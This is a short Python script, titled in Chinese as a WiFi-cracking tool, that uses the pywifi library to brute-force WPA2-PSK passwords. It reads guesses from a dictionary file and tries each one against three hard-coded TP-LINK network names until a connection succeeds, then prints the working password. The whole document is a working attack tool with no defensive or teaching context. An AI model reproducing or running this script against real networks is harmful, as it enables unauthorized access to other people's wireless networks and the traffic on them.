Python破解WiFi
import pywifi
import time
from pywifi import const
class PoJie():
def __init__(self,name):
self.name = name
wifi = pywifi.PyWiFi()
self.iface = wifi.interfaces()[0]
self.iface.disconnect()
time.sleep(1)
if self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]:
print("已经成功断开网卡连接")
else:
print("网卡连接断开失败")
def solve(self):
x = 1
f = open('【普通】默认常用字典.txt','r')
lines = f.readlines()
for line in lines:
print('正在尝试第%d次'%(x))
x += 1
profile = pywifi.Profile()
profile.ssid = self.name
profile.key = line
profile.auth = const.AUTH_ALG_OPEN
profile.akm.append(const.AKM_TYPE_WPA2PSK)
profile.cipher = const.CIPHER_TYPE_CCMP
self.iface.remove_all_network_profiles()
tem_profile = self.iface.add_network_profile(profile)
self.iface.connect(tem_profile)
time.sleep(3)
if self.iface.status() == const.IFACE_CONNECTED:
print("成功连接,密码是%s"%(line))
break
else:
print("连接失败,密码是%s"%(line))
if __name__ == "__main__":
p2 = 'TP-LINK_5107'
p1 = 'TP-LINK_A576'
p3 = 'TP-LINK_3B28'
uuuu = [p1, p2,p3]
for oo in uuuu:
name = oo
obj = PoJie(name = name)
obj.solve()
print(name)
【普通】默认常用字典.txt